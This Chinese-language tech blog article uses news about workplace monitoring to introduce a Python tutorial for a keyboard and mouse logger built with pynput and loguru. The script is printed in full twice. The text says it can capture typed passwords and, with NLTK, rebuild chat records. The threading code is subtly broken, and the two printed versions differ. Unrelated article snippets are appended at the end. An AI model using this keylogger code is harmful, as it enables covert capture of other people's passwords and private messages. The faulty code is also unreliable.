<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
繼打遊戲、看視訊等摸魚行為被監控後,現在打工人離職的傾向也會被監控。
有網友爆料稱知乎正在低調裁員,視訊相關部門幾乎要裁掉一半。而在知乎裁員的討論區,有網友表示企業安裝了行為感知系統,該系統可以提前獲知員工跳槽念頭。
而知乎在否認了裁員計劃的同時,也宣告從未安裝使用過網上所說的行為感知系統,今後也不會啟用類似軟體工具。
因為此事,深信服被推上風口浪尖,輿論關注度越來越高。
一時間,“打工人太難了”“毫無隱私可言”的討論層出不窮。
今天就帶大家領略一下怎麼寫幾行 Python 程式碼,就能監控電腦。
如果公司偷偷在我們的電腦上執行了一個後臺程序,來監控我們的鍵盤事件,最簡單的 python 寫法大致是這樣的:
from pynput import keyboard def on_press(key): print(f'{key} :pushed') def on_release(key): if key == keyboard.Key.esc: return False with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join()
隨意敲擊鍵盤,你就會從控制檯看到這樣的輸出:
程式碼內容就是兩個方法,一個是監聽按鍵事件,另一個是監聽退出事件——敲擊 ESC 按鍵後釋放就退出了。
如果還要監聽滑鼠事件,那麼上這段程式碼就行了:
from pynput import mouse def on_click(x, y, button, pressed): if button == mouse.Button.left: print('left was pressed!') elif button == mouse.Button.right: print('right was pressed!') return False else: print('mid was pressed!') # 定義滑鼠監聽執行緒 with mouse.Listener(on_click=on_click) as listener: listener.join()
這段程式碼主要是監聽滑鼠的左右鍵點選操作,執行之後操作滑鼠,就可以看到控制檯列印如下結果:
細心的你一定會發現,每次點選事件,都列印了兩次。這是因為按下和鬆開都會觸發滑鼠事件。
鍵盤事件和滑鼠事件都有了,是時候將二者結合起來,把使用者的操作記錄到紀錄檔了。這裡我們用 loguru 來記錄紀錄檔,這個 python 模組我們之前的文章也講過。
整個程式碼如下:
from pynput import keyboard, mouse from loguru import logger from threading import Thread # 定義紀錄檔檔案 logger.add('moyu.log') def on_press(key): logger.debug(f'{key} :pushed') def on_release(key): if key == keyboard.Key.esc: return False # 定義鍵盤監聽執行緒 def press_thread(): with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join() def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') else: return False # 定義滑鼠監聽執行緒 def click_thread(): with mouse.Listener(on_click=on_click) as listener: listener.join() if __name__ == '__main__': # 起兩個執行緒分別監控鍵盤和滑鼠 t1 = Thread(target=press_thread()) t2 = Thread(target=click_thread()) t1.start() t2.start()
執行之後,你就可以在同級目錄下的紀錄檔檔案中,看到這樣的內容了:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @author: 閒歡 """ from pynput import keyboard, mouse from loguru import logger from threading import Thread # 定義紀錄檔檔案 logger.add('moyu.log') def on_press(key): logger.debug(f'{key} :pushed') def on_release(key): if key == keyboard.Key.esc: return False # 定義鍵盤監聽執行緒 def press_thread(): with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join() def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') return False else: logger.debug('mid was pressed!') # 定義滑鼠監聽執行緒 def click_thread(): with mouse.Listener(on_click=on_click) as listener: listener.join() if __name__ == '__main__': # 起兩個執行緒分別監控鍵盤和滑鼠 t1 = Thread(target=press_thread()) t2 = Thread(target=click_thread()) t1.start() t2.start()
本文主要通過 pynput 這個 python 模組講解一下怎麼記錄鍵盤和滑鼠的操作。這幾行簡單的程式碼對於監控輸入密碼之類的簡單操作可以使用,但是對於聊天記錄之類的複雜語句,你還需要針對紀錄檔用 NLTK 語言處理,才能復原你的聊天記錄。
以上就是利用Python寫個摸魚監控程序的詳細內容,更多關於Python摸魚監控程序的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45